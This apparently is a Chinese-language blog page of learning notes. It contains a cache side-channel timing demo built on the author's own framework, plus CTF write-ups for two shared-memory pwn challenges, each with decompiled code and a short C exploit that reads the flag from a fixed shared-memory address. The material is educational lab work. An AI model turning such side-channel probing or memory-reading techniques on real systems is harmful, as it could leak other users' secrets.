Examples#

下面给出一些我在学习过程中写的 demo，就不详细说明作用了，只贴一下代码（怕自己弄丢了

用到的 axium 是我自己写的内核 / 侧信道框架，点点 star 支持一下谢谢 :P

CuB3y0nd

axium

Waiting for api.github.com...

00K

Waiting...

对于侧信道，还提供了缓存噪声分析的 dashboard xD

每个 chart 都可以单独导出为 PNG，方便嵌入到文档中之类的……

当然，TUI 的可视化 report 也是必不可少的：

探测当前程序内内存映射有没有进缓存#

1
#include <axium/axium.h>
2

3
#define ARRAY_SIZE 32
4
#define PAGE_SIZE 0x1000
5
#define TOTAL_SIZE (ARRAY_SIZE * PAGE_SIZE)
6

7
int main(int argc, char *argv[]) {
8
  set_log_level(DEBUG);
9
  if (argc < 2) {
10
    log_info("Usage: %s <IDX>", argv[0]);
11
    return 1;
12
  }
13

14
  int target_idx = atoi(argv[1]);
15
  if (target_idx < 0 || target_idx >= ARRAY_SIZE) {
16
    log_error("Index must be between 0 and %d", ARRAY_SIZE - 1);
17
  }
18

19
  uint8_t *target = mmap(NULL, TOTAL_SIZE, PROT_READ | PROT_WRITE,
20
                         MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
21
  if (target == MAP_FAILED) {
22
    log_exception("mmap");
23
  }
24

25
  uint64_t threshold = cache_calibrate_threshold(target);
26
  log_info("Calibrated threshold (context-aware): %lu cycles", threshold);
27

28
  cache_flush_range(target, TOTAL_SIZE);
29

30
  maccess(&target[target_idx * PAGE_SIZE]);
31
  uint64_t results[ARRAY_SIZE];
32
  for (size_t i = 0; i < ARRAY_SIZE; i++) {
33
    size_t mixed_idx = MIXED_IDX(i, ARRAY_SIZE - 1);
34

35
    uint64_t start = probe_start();
36
    maccess(&target[mixed_idx * PAGE_SIZE]);
37
    uint64_t end = probe_end();
38

39
    results[mixed_idx] = end - start;
40
  }
41

42
  cache_report_t report;
43
  cache_analyze(&report, results, ARRAY_SIZE, threshold);
44
  cache_report(&report);
45

46
  if (cache_export_report(&report, "report.json") == 0) {
47
    log_success("Report exported!");
48
    cache_view_report("report.json");
49
  } else {
50
    log_error("Report export failed!");
51
  }
52

53
  munmap(target, TOTAL_SIZE);
54
  return 0;
55
}

Shared Memory 1.0#

Information#

Category: Pwn

Description#

Get started with interacting with processes via shared memory.

Write-up#

前两道题不记分，估计是用来让我们熟悉一下共享内存的。

话不多说，直接逆。

main 先调用这个函数，把 flag 读到 bss 了，没啥说的。

1
int read_flag_to_global()
2
{
3
  int v1; // [rsp+8h] [rbp-8h]
4
  int fd; // [rsp+Ch] [rbp-4h]
5

6
  fd = open("/flag", 0);
7
  v1 = read(fd, &flag_val, 0x100u);
8
  if ( !fd || v1 <= 0 )
9
  {
10
    printf("Failed to read flag file.  Exiting");
11
    exit(1);
12
  }
13
  return close(fd);
14
}

然后是核心逻辑：

必须要 argc 大于 1，也就是除了 argv[0] 外我们起码还得多传一个参数，那具体要几个，以及，这个参数是干啥的呢？

我们注意到 argv[1] 被复制到了 dest，所以这个参数是必要的，没有溢出，设置了 NULL terminate，然后又创建了一个 argva 参数列表，列表里只有一个参数，即 dest。

1
  if ( argc > 1 )
2
  {
3
    strncpy(dest, argv[1], 0x12Bu);
4
    dest[299] = 0;
5
    argva[0] = dest;
6
    argva[1] = 0;
7
    shared_page = make_shared_page(&p_sem);
8
    v12 = (int)time(0) % 13;
9
    pin_cpu(v12);
10
    printf("Pinning processes to CPU %d\n", v12);
11
    v14 = fork();
12
    if ( v14 )
13
    {
14
      printf("Launching your code as PID: %d!\n", v14);
15
      puts("----------------");
16
      wait(0);
17
      v11 = inject_open_shm(v14);
18
      inject_mmap(v14, v11);
19
      inject_drop_privs(v14);
20
      sem = p_sem;
21
      sem_init(p_sem, 1, 0);
22
      v9 = sem + 1;
23
      *(_DWORD *)sem[1].__size = 0;
24
      fd = open("/flag", 0);
25
      buf = (char *)&p_sem[1].__align + 4;
26
      read(fd, (char *)&p_sem[1].__align + 4, 0x50u);
27
      printf("The flag is now in memory at %p\n", buf);
28
      ptrace_detatch(v14);
29
      shm_unlink("/pwncollege");
30
      puts("### Goodbye!");
31
    }
32
    else
33
    {
34
      ptrace(PTRACE_TRACEME, 0, 0, 0);
35
      execv(dest, argva);
36
    }
37
    return 0;
38
  }
39
  else
40
  {
41
    puts("ERROR: argc < 2!");
42
    return 1;
43
  }

接着创建共享页，并设置大小为 0x101000，然后映射到 0x1337000，权限是 PROT_READ | PROT_WRITE，flag 是 MAP_FIXED | MAP_SHARED，即必须映射到 addr 指定的地址且映射和 fd 背后的对象共享，即访问这个映射地址就是访问共享内存。

此外，0x1337000 这个地址也将用作全局变量 p_sem，根据定义，这是一个 semaphore。然后将共享内存的 fd 返回，给到 shared_page。

1
__int64 __fastcall make_shared_page(sem_t **p_sem)
2
{
3
  unsigned int fd; // [rsp+1Ch] [rbp-4h]
4

5
  puts("Creating Shared memory");
6
  shm_unlink("/pwncollege");
7
  fd = shm_open("/pwncollege", 66, 0x1C7u);
8
  ftruncate(fd, 0x101000);
9
  *p_sem = (sem_t *)mmap((void *)0x1337000, 0x101000u, 3, 32769, fd, 0);
10
  if ( *p_sem != (sem_t *)0x1337000 )
11
    __assert_fail("*addr == (char *) mmap_addr", "babyarchmemflag.c", 0x169u, "make_shared_page");
12
  return fd;
13
}

接着用当前的时间作为 seed 随机将程序绑定到 $[0, 13)$ 的一个 CPU Core 上运行。

1
int __fastcall pin_cpu(int n0x3FF)
2
{
3
  cpu_set_t cpuset; // [rsp+10h] [rbp-90h] BYREF
4
  unsigned __int64 n0x3FF_1; // [rsp+98h] [rbp-8h]
5

6
  memset(&cpuset, 0, sizeof(cpuset));
7
  n0x3FF_1 = n0x3FF;
8
  if ( (unsigned __int64)n0x3FF <= 1023 )
9
    cpuset.__bits[n0x3FF_1 >> 6] |= 1LL << (n0x3FF_1 & 63);
10
  return sched_setaffinity(0, 0x80u, &cpuset);
11
}

然后创建子进程，子进程会执行 dest，因此，我们知道 argv[1] 其实需要传递一个程序路径。此外，由于子进程设置了 PTRACE_TRACEME，所以父进程可以修改子进程的 stats 。

一旦 execv 执行成功，内核会自动 SIGTRAP，子进程暂停，父进程开始 ptrace 操作子进程。

1
      ptrace(PTRACE_TRACEME, 0, 0, 0);
2
      execv(dest, argva);

父进程通过 wait(0) 确保子进程发出 SIGTRAP 信号后，开始 ptrace，进行一些操作，具体内容自己分析太恶心了，丢给 AI 就好了，我就不写了。

然后将 0x1337000，也就是 p_sem 信号量联合体初始化为 0，之后 open flag，将 flag 读到 (char *)&p_sem[1].__align + 4 的位置，这个可以看一下 sem_t 的定义：

1
#if __WORDSIZE == 64
2
# define __SIZEOF_SEM_T 32
3
#else
4
# define __SIZEOF_SEM_T 16
5
#endif
6

7
typedef union
8
{
9
  char __size[__SIZEOF_SEM_T];
10
  long int __align;
11
} sem_t;

因此它其实就是将 flag 读到了第二个联合体的地址加四的位置。之后 ptrace_detatch 让子进程继续跑。

所以我们只要写一个程序去输出 flag 被加载到的位置就好了。

Exploit#

1
#include <semaphore.h>
2
#include <unistd.h>
3

4
#define SHM_BASE 0x1337000
5
#define SEM_SIZE sizeof(sem_t)
6
#define OFFSET (SEM_SIZE + 4)
7
#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)
8

9
int main(int argc, char *argv[]) {
10
  write(1, FLAG_ADDR, 0x100);
11
  return 0;
12
}

Shared Memory 2.0#

Information#

Category: Pwn

Description#

Get started with interacting with processes via shared memory.

Write-up#

和上题差不多，区别是父进程的实现：

1
    if ( v14 )
2
    {
3
      printf("Launching your code as PID: %d!\n", v14);
4
      puts("----------------");
5
      wait(0);
6
      v11 = inject_open_shm(v14);
7
      inject_mmap(v14, v11);
8
      inject_drop_privs(v14);
9
      sem = p_sem;
10
      sem_init(p_sem, 1, 0);
11
      v9 = sem + 1;
12
      *(_DWORD *)sem[1].__size = 0;
13
      printf("This challenge will read the flag into memory when the semaphore located at %p is incremented.", sem);
14
      ptrace_detatch(v14);
15
      sem_wait(sem);
16
      fd = open("/flag", 0);
17
      buf = (char *)&p_sem[1].__align + 4;
18
      read(fd, (char *)&p_sem[1].__align + 4, 0x50u);
19
      printf("The flag is now in memory at %p\n", buf);
20
      shm_unlink("/pwncollege");
21
      puts("### Goodbye!");
22
    }

ptrace_detatch 之后 sem_wait(sem) 等待信号量被消耗，然后才会去 open, read flag 。但是由于这个信号量被 sem_init(p_sem, 1, 0) 初始化为 0，所以我们的子进程应该使用 sem_post 增加一下信号量，否则程序会一直等待。

Exploit#

1
#include <semaphore.h>
2
#include <unistd.h>
3

4
#define SHM_BASE 0x1337000
5
#define SEM_SIZE sizeof(sem_t)
6
#define OFFSET (SEM_SIZE + 4)
7
#define FLAG_ADDR (char *)(SHM_BASE + OFFSET)
8
#define SEM_ADDR (sem_t *)SHM_BASE
9

10
int main(int argc, char *argv[]) {
11
  sem_post(SEM_ADDR);
12
  write(1, FLAG_ADDR, 0x100);
13
  return 0;
14
}